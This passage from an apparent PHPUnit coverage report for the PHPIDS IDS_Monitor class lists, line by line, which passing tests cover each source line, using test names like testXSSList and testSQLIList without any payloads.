class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel319": { - "header": "35 tests cover line 319", - "body": "<ul><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel322": { - "header": "35 tests cover line 322", - "body": "<ul><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel323": { - "header": "35 tests cover line 323", - "body": "<ul><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel324": { - "header": "35 tests cover line 324", - "body": "<ul><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel325": { - "header": "35 tests cover line 325", - "body": "<ul><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel327": { - "header": "35 tests cover line 327", - "body": "<ul><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel328": { - "header": "35 tests cover line 328", - "body": "<ul><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel329": { - "header": "35 tests cover line 329", - "body": "<ul><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel336": { - "header": "35 tests cover line 336", - "body": "<ul><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel337": { - "header": "1 test covers line 337", - "body": "<ul><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel338": { - "header": "1 test covers line 338", - "body": "<ul><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel339": { - "header": "1 test covers line 339", - "body": "<ul><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel340": { - "header": "1 test covers line 340", - "body": "<ul><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel341": { - "header": "1 test covers line 341", - "body": "<ul><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel342": { - "header": "1 test covers line 342", - "body": "<ul><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel343": { - "header": "34 tests cover line 343", - "body": "<ul><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel344": { - "header": "32 tests cover line 344", - "body": "<ul><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel345": { - "header": "32 tests cover line 345", - "body": "<ul><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li 